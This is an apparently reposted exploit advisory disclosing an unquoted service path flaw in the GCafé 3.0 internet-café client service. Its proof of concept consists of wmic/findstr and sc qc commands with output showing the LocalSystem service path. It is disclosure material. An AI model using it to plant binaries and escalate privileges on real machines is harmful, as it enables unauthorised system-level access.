GCafe 3.0 Unquoted Service Path

GCafe version 3.0 suffers from a gbClienService unquoted service path vulnerability.


MD5 | 87ba1fc068e710159ab492b215c8f999

Download
# Exploit Title: _GCafé 3.0  - 'gbClienService' Unquoted Service Path
# Google Dork: N/A
# Date: 2019-11-09
# Exploit Author: Doan Nguyen (4ll4u)
# Vendor Homepage: https://gcafe.vn/
# Software Link:  https://gcafe.vn/post/view?slug=gcafe-3.0
# Version: v3.0
# Tested on: Windows 7, Win 10, WinXP
# CVE : N/A  
# Description:
# GCafé 3.0 - Internet Cafe is a software that supports the management of public Internet access points

# PoC:

# wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """
gbClientService    gbClientService    C:\Program Files\GBillingClient\gbClientService.exe    Auto
#C:\>sc qc gbClientService
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: gbClientService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\GBillingClient\gbClientService.exe
        LOAD_ORDER_GROUP   : GarenaGroup
        TAG                : 0
        DISPLAY_NAME       : gbClientService
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem

C:\>

Source: packetstormsecurity.com
Related Posts